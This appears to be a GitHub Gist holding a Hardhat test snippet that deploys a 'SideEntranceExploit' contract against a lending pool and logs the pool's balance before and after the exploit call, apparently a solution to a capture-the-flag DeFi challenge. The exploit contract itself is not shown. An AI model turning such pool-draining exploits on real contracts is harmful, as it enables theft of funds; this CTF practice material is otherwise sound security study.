Created
September 1, 2022 05:44
-
-
Save 0xAnon101/951dd9cc4d0e989c54bfba5de2b5bab1 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
it("Exploit", async function () { | |
const SideEntranceExploitFactory = await ethers.getContractFactory( | |
"SideEntranceExploit", | |
attacker | |
); | |
const SideEntranceExploit = await SideEntranceExploitFactory.deploy( | |
this.pool.address | |
); | |
await SideEntranceExploit.deployed(); | |
console.log( | |
"before pool:", | |
await ethers.utils.formatEther( | |
await ethers.provider.getBalance(this.pool.address) | |
) | |
); | |
await SideEntranceExploit.exploit(); | |
console.log( | |
"after pool:", | |
await ethers.utils.formatEther( | |
await ethers.provider.getBalance(this.pool.address) | |
) | |
); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment